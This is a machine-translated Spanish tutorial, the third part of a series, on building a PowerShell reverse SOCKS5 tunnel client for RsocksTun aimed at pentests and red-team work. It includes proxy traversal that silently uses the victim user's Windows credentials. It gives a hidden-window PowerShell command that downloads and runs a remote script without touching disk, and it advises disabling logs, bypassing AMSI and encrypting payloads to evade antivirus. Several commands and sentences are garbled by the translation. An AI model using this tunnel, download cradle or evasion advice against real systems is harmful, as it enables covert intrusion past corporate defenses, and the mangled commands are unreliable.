Escribimos Reverse socks5 proxy en powershell. Parte 3

La historia de la investigación y el desarrollo en 3 partes. La parte 3 es práctica.
Hay muchas hayas, incluso más beneficios

Los artículos anteriores del ciclo se pueden encontrar aquí y aquí =)

Control de batalla


Probemos ahora el funcionamiento de nuestro script en la práctica. Para hacer esto, intente lanzar el túnel inverso desde la máquina virtual (Windows 7 .net 4.7) al Linux VPS en Digital Ocean y luego, usándolo, volveremos a Win7. En este caso, simulamos una situación en la que Windows 7 es la máquina del Cliente, Linux VPS es nuestro servidor.

En VPS (en nuestro caso, Ubuntu 18.04) instalamos y configuramos la parte del servidor de RsocksTun:

  • configura el golang: apt install golang
  • tomar las fuentes de rsockstun de gita:
    git clone github.com/mis-team/rsockstun.git / opt / rstun
  • instalar dependencias:
    ve a buscar github.com/hashicorp/yamux
    ve a buscar github.com/armon/go-socks5
    vaya a obtener github.com/ThomsonReutersEikon/go-ntlm/ntlm
  • compilar de acuerdo con el manual: cd / opt / rstun; ir a construir
  • generar certificado SSL:
    openssl req -new -x509 -keyout server.key -out server.crt -days 365 -nodes
  • comenzamos la parte del servidor:



  • Comenzamos nuestro script en el cliente, indicándole el servidor para conectar, el puerto y la contraseña:



  • use el puerto elevado del servidor Socks5 para ir a mail.ru



Como puede ver en las capturas de pantalla, nuestro script funciona. Nos alegramos, mentalmente erigimos un monumento a nosotros mismos y decidimos que todo era perfecto. Pero ...

Manejo de errores


Pero no todo es tan fácil como nos gustaría ...

Durante el funcionamiento del script, se descubrió un momento desagradable: si el script funciona a través de una conexión no muy rápida con el servidor, el error que se muestra en la figura a continuación puede ocurrir al transferir datos grandes



Después de estudiar este error, vemos que cuando recibimos un mensaje de keepalive (mientras los datos aún se transmiten al servidor), intentamos escribir simultáneamente una respuesta a keepalive en el socket, lo que causa un error.

Para corregir la situación, debemos esperar hasta que se complete la transferencia de datos y luego enviar una respuesta a keepalive. Pero aquí puede surgir otro problema: si llega un mensaje de alerta en el momento entre el envío de un encabezado de 12 bytes y el envío de datos, destruiremos la estructura del paquete ymx. Por lo tanto, una solución más correcta sería transferir toda la funcionalidad para enviar datos dentro de yamuxScript, que procesa eventos para enviar secuencialmente y no habrá tales situaciones.

Al mismo tiempo, para indicar a yamuxScript que envíe respuestas de respuesta activa, podemos usar nuestra ArrayList StopFlag compartida [0]: no se utiliza un índice cero, porque la numeración de las secuencias de yamux comienza con 1. En este índice, pasaremos en yamuxScript el valor de ping recibido en el mensaje de keepalive. Por defecto, el valor será -1, lo que significa que no se necesita transmisión. YamuxScript verificará este valor, y si es 0 (el primer ping de keepalive = 0) o más, entonces enviará el valor pasado a la respuesta de keepalive:

if ($StopFlag[0] -ge 0){ #got yamux keepalive. we have to reply $outbuf = [byte[]](0x00,0x02,0x00,0x02,0x00,0x00,0x00,0x00) + [bitconverter]::getbytes([int32]$StopFlag[0])[3..0] $state.tcpstream.Write($outbuf,0,12) $state.tcpstream.flush() $StopFlag[0] = -1 } 

También deberíamos excluir el envío en el hilo principal del programa de una respuesta al indicador SYN YMX.

Para hacer esto, también debemos transferir esta funcionalidad dentro de yamuxScript, pero dado que el servidor yamux no requiere enviar una respuesta a YMX SYN e inmediatamente comienza a enviar datos, simplemente apagamos el envío de este paquete y eso es todo:

 #$outbuf = [byte[]](0x00,0x01,0x00,0x02,$ymxstream[3],$ymxstream[2],$ymxstream[1],$ymxstream[0],0x00,0x00,0x00,0x00) #$tcpstream.Write($outbuf,0,12) 

Después de eso, la transferencia de grandes piezas de datos funciona bien.

Soporte de proxy


Ahora pensemos en cómo podemos hacer que nuestro cliente trabaje a través de un servidor proxy.

Comencemos con lo básico. En teoría, el proxy http (es decir, los proxy http funcionan en la mayoría de las redes corporativas) está diseñado para funcionar con el protocolo HTTP, y parece que http no huele como el nuestro. Pero en la naturaleza, además de http, también hay https y su navegador puede conectarse perfectamente a los sitios https a través de http regular, ¿verdad?

La razón de esto es el modo de operación del servidor proxy especial: modo CONEXIÓN. Por lo tanto, si el navegador desea conectarse al servidor de Gmail a través de https a través de un servidor proxy, envía una solicitud CONNECT al servidor proxy, que indica el host y el puerto de destino.

 CONNECT gmail.com:443 HTTP/1.1 Host: gmail.com:443 Proxy-Connection: Keep-Alive 

Después de una conexión exitosa al servidor de gmail, el proxy devuelve una respuesta 200 OK.

 HTTP/1.1 200 OK 

Después de eso, todos los datos del navegador se transmiten directamente al servidor y viceversa. En términos simples, un proxy conecta directamente dos sockets de red entre sí: un socket de navegador y un socket de servidor de gmail. Después de eso, el navegador comienza a establecer una conexión SSL con el servidor de Gmail y trabajar con él directamente.

Al transferir lo anterior a nuestro cliente, primero debemos establecer una conexión con el servidor proxy, enviar un paquete http que indique el método CONNECT y la dirección de nuestro servidor yamux, esperar una respuesta con el código 200 y luego proceder a establecer una conexión SSL.

En principio, no hay nada particularmente complicado. Así es como se implementa el mecanismo de conexión a través del servidor proxy en el cliente de golang rsockstun.

Las principales dificultades comienzan cuando el servidor proxy requiere autorización ntlm o kerberos cuando se conecta a sí mismo.

En este caso, el servidor proxy devuelve el código 407 y el encabezado http ntlm como una cadena base64

 HTTP/1.1 407 Proxy Authentication Required Proxy-Authenticate: NTLM TlRMTVNTUAACAAAAAAAAADgAAABVgphianXk2614u2AAAAAAAAAAAKIAogA4AAAABQEoCgAAAA8CAA4AUgBFAFUAVABFAFIAUwABABwAVQBLAEIAUAAtAEMAQgBUAFIATQBGAEUAMAA2AAQAFgBSAGUAdQB0AGUAcgBzAC4AbgBlAHQAAwA0AHUAawBiAHAALQBjAGIAdAByAG0AZgBlADAANgAuAFIAZQB1AHQAZQByAHMALgBuAGUAdAAFABYAUgBlAHUAdABlAHIAcwAuAG4AZQB0AAAAAAA= Date: Tue, 28 May 2019 14:06:15 GMT Content-Length: 0 

Para una autorización exitosa, debemos decodificar esta línea, eliminar parámetros de ella (como ntlm-challenge, nombre de dominio). Luego, utilizando estos datos, así como el nombre de usuario y su hash ntlm, debemos generar una respuesta ntlm, codificarla de nuevo a base64 y enviarla de vuelta al servidor proxy.

 CONNECT mail.com:443 HTTP/1.1 Host: mail.com:443 Proxy-Authorization: NTLM TlRMTVNTUAADAAAAGAAYAHoAAAA6AToBkgAAAAwADABYAAAACAAIAGQAAAAOAA4AbAAAAAAAAADMAQAABYKIIgYBsR0AAAAPnHZSXCGeU7zoq64cDFENAGQAbwBtAGEAaQBuAHUAcwBlAHIAVQBTAEUAUgAtAFAAQwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABuxncy1yDsSypAauO/N1TfAQEAAAAAAAAXKmWDXhXVAag3UE8RsOGCAAAAAAIADgBSAEUAVQBUAEUAUgBTAAEAHABVAEsAQgBQAC0AQwBCAFQAUgBNAEYARQAwADYABAAWAFIAZQB1AHQAZQByAHMALgBuAGUAdAADADQAdQBrAGIAcAAtAGMAYgB0AHIAbQBmAGUAMAA2AC4AUgBlAHUAdABlAHIAcwAuAG4AZQB0AAUAFgBSAGUAdQB0AGUAcgBzAC4AbgBlAHQACAAwADAAAAAAAAAAAAAAAAAwAAA2+UpsHCJmpIGttOj1VN+5JbP1D1HvJsbPKpKyd63trQoAEAAAAAAAAAAAAAAAAAAAAAAACQAcAEgAVABUAFAALwAxADIANwAuADAALgAwAC4AMQAAAAAAAAAAAA== User-Agent: curl/7.64.1 Accept: */* Proxy-Connection: Keep-Alive + + UpsHCJmpIGttOj1VN 5JbP1D1HvJsbPKpKyd63trQoAEAAAAAAAAAAAAAAAAAAAAAAACQAcAEgAVABUAFAALwAxADIANwAuADAALgAwAC4AMQAAAAAAAAAAAA == CONNECT mail.com:443 HTTP/1.1 Host: mail.com:443 Proxy-Authorization: NTLM TlRMTVNTUAADAAAAGAAYAHoAAAA6AToBkgAAAAwADABYAAAACAAIAGQAAAAOAA4AbAAAAAAAAADMAQAABYKIIgYBsR0AAAAPnHZSXCGeU7zoq64cDFENAGQAbwBtAGEAaQBuAHUAcwBlAHIAVQBTAEUAUgAtAFAAQwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABuxncy1yDsSypAauO/N1TfAQEAAAAAAAAXKmWDXhXVAag3UE8RsOGCAAAAAAIADgBSAEUAVQBUAEUAUgBTAAEAHABVAEsAQgBQAC0AQwBCAFQAUgBNAEYARQAwADYABAAWAFIAZQB1AHQAZQByAHMALgBuAGUAdAADADQAdQBrAGIAcAAtAGMAYgB0AHIAbQBmAGUAMAA2AC4AUgBlAHUAdABlAHIAcwAuAG4AZQB0AAUAFgBSAGUAdQB0AGUAcgBzAC4AbgBlAHQACAAwADAAAAAAAAAAAAAAAAAwAAA2+UpsHCJmpIGttOj1VN+5JbP1D1HvJsbPKpKyd63trQoAEAAAAAAAAAAAAAAAAAAAAAAACQAcAEgAVABUAFAALwAxADIANwAuADAALgAwAC4AMQAAAAAAAAAAAA== User-Agent: curl/7.64.1 Accept: */* Proxy-Connection: Keep-Alive 

Pero esto no es tan malo. El hecho es que cuando ejecutamos el script, no sabemos ni el nombre del usuario actual ni su hash de contraseña ntlm. Por lo tanto, para la autorización en el servidor proxy, necesitamos encontrar el nombre de usuario / contraseña desde otro lugar.

Teóricamente, podemos implementar esta funcionalidad en un script (comenzando por establecer los parámetros de autenticación manualmente, como se hace en el cliente GoLang, y terminando con el uso de un volcado de memoria del proceso LSASS, como se hace en mimikatz), pero luego nuestro script crecerá a un tamaño y complejidad increíbles, especialmente que estos temas están más allá del alcance de este artículo.

Pensamos y decidimos que iríamos por el otro lado ...

En lugar de hacer la autorización manualmente, utilizaremos la funcionalidad incorporada para trabajar con un servidor proxy de la clase HTTPWebRequest. Pero en este caso, tendremos que cambiar el código de nuestro servidor RsocksTun; después de todo, cuando recibe una solicitud del cliente, solo espera una línea con una contraseña, y recibirá una solicitud HTTP completa. En principio, modificar el lado del servidor de rsoskstun no es tan difícil. Solo es necesario decidir en qué parte de la solicitud http transmitiremos la contraseña (por ejemplo, será el encabezado http XAuth) e implementaremos la funcionalidad de procesar la solicitud http, verificar nuestro encabezado con una contraseña y enviar una respuesta http (200 OK). Agregamos esta funcionalidad a una rama separada del proyecto RSocksTun.

Después de modificar la parte de Golang de RSocksTun (servidor y cliente), comenzaremos a agregar la funcionalidad de trabajar con un servidor proxy a nuestro script. El código más simple para la clase HttpWebRequest para conectarse a un servidor web a través de un proxy se ve así:

 [System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true}; $request = [System.Net.HttpWebRequest]::Create("https://gmail.com:443") $request.Method = "GET" $request.Headers.Add("Xauth","password") $proxy = new-object system.net.webproxy('http://127.0.0.1:8080'); $proxy.Credentials = [System.Net.CredentialCache]::DefaultNetworkCredentials $request.Proxy = $proxy try {$serverResponse = $request.GetResponse()} catch {write-host "Can not connect"; exit} 

En este caso, creamos una instancia de la clase HttpWebRequest, establecemos las propiedades de Proxy y Credenciales, agregamos el encabezado http XAuth personalizado. En consecuencia, nuestra solicitud a los servidores de Google pasará por el servidor proxy 127.0.0.1:8080. Si el proxy solicita autorización, el propio Windows "recogerá" los créditos del usuario actual e insertará los encabezados http correspondientes.

En lugar de especificar un servidor proxy manualmente, podemos usar la configuración del sistema del servidor proxy:

 $proxy = [System.Net.WebRequest]::GetSystemWebProxy() 

Entonces, después de conectarnos a través de un servidor proxy a nuestro servidor rsockstun y recibir una respuesta HTTP con el código 200, necesitamos hacer un pequeño truco, a saber, de la clase HTTPWebRequest, obtener un objeto de flujo para leer / escribir como $ tcpConnection.getStream () Hacemos esto a través del mecanismo de inspección de reflexión .Net (para aquellos que quieran entender este mecanismo con más detalle, compartan el enlace ). Esto nos permite acceder a los métodos y propiedades de las clases subyacentes:

 #--------------------------------------------------------------------------------- # Reflection inspection to retrieve and reuse the underlying networkStream instance $responseStream = $serverResponse.GetResponseStream() $BindingFlags= [Reflection.BindingFlags] "NonPublic,Instance" $rsType = $responseStream.GetType() $connectionProperty = $rsType.GetProperty("Connection", $BindingFlags) $connection = $connectionProperty.GetValue($responseStream, $null) $connectionType = $connection.GetType() $networkStreamProperty = $connectionType.GetProperty("NetworkStream", $BindingFlags) $tcpStream = $networkStreamProperty.GetValue($connection, $null) 

Por lo tanto, obtuvimos el mismo flujo de socket, que está conectado por el servidor proxy a nuestro servidor yamux y con el que podemos realizar operaciones de lectura / escritura.

Otro punto que debemos considerar es el mecanismo para monitorear el estado de la conexión. Dado que trabajamos a través del servidor proxy y la clase HTTPWebRequest, no tenemos la propiedad $ tcpConnection.Connected y necesitamos monitorear el estado de la conexión de alguna manera. Podemos hacer esto a través de un indicador separado de $ conectado, se establece en $ true después de recibir el código 200 del servidor proxy y se restablece a $ false cuando se produce una excepción al leer desde socket-stream:

 try { $num = $tcpStream.Read($tmpbuffer,0,12) } catch {$connected=$false; break;} if ($num -eq 0 ) {$connected=$false; break;} 

De lo contrario, nuestro código permanece sin cambios.

Lanzamiento en línea


Como regla general, todas las personas sensatas ejecutan secuencias de comandos similares desde archivos PS1, pero a veces (y de hecho, casi siempre) en el proceso de pentest / redtime se requiere ejecutar módulos desde la línea de comandos sin escribir nada en el disco, para no dejar rastros . Además, powershell le permite hacer esto a través de la línea de comando:

 powershell.exe –c <powershell code> powershell.exe –e <base64 powershell code> 

Sin embargo, uno no debería realmente relajarse en relación con el secreto de iniciar y ejecutar comandos. Porque, en primer lugar, todo el código de PowerShell se registra utilizando herramientas estándar de Windows en los registros de eventos correspondientes (Windows PowerShell y Microsoft-Windows-PowerShell / Operational), y en segundo lugar, todo el código ejecutado dentro de PowerShell pasa por el mecanismo AMSI ( Interfaz de escaneo anti malware). Otra cosa es que ambos mecanismos son perfectamente costosos con acciones sin complicaciones. Desactivar revistas y omitir AMSI es un tema separado para el debate y lo escribiremos en futuros artículos o en nuestro canal. Pero ahora un poco sobre otra cosa.

El hecho es que nuestro script ha crecido a tamaños bastante impresionantes y está claro que no cabe en ninguna línea de comando (el límite de cmd en Windows es de 8191 caracteres). Por lo tanto, necesitamos encontrar una forma de ejecutar nuestro script sin escribirlo en el disco. Y aquí los métodos estándar utilizados por el malware nos han estado ayudando durante casi 15 años. En resumen, la regla es simple: descargar y ejecutar. Lo principal es no mezclarlo =)
El comando de descarga y lanzamiento se ve así:

 powershell.exe –w hidden -c "IEX ((new-object net.webclient).downloadstring('http://url.com/script.ps1'))" 

Puedes encontrar aún más opciones de lanzamiento en línea en el HarmJ0y 'I' s git :

Por supuesto, antes de descargar debe cuidar de deshabilitar los registros y evitar o deshabilitar AMSI. El script en sí debe estar encriptado antes de la descarga, porque durante el proceso de descarga, su antivirus (o no su =)) lo escaneará de forma natural y, antes de comenzar, descifre según corresponda. Cómo hacer esto: usted, el lector, ya debería idearlo usted mismo. Esto está más allá del alcance de este tema. Pero conocemos a un especialista genial en este asunto: el todopoderoso Google. Hay muchos ejemplos de cifrado y descifrado en la red, así como ejemplos de omitir AMSI.

Conclusión a todas las partes.


En el proceso, presentamos al lector la tecnología de "túneles inversos" y su uso para pentests, mostramos varios ejemplos de tales túneles y hablamos sobre los pros y los contras de su uso.

También logramos crear un cliente de PowerShell para el servidor RsocksTun con la capacidad:

  • Conexiones SSL
  • autorización en el servidor;
  • trabajar con yamux-server con soporte para pings keepalive;
  • modo de operación multihilo;
  • Soporte de trabajo a través de un servidor proxy con autorización.

Puede encontrar todo el código rsockstun (golang y powershell) en la rama correspondiente en nuestro github. La rama maestra está diseñada para funcionar sin un servidor proxy, y la rama via_proxy está diseñada para funcionar a través de proxies y HTTP.

Estaremos encantados de escuchar sus comentarios y sugerencias sobre cómo mejorar el código y la aplicabilidad del desarrollo en la práctica.

Esto completa el ciclo de nuestros artículos de túnel inverso. Realmente esperamos que esté interesado en leernos y la información sea útil.

Source: https://habr.com/ru/post/454254/


All Articles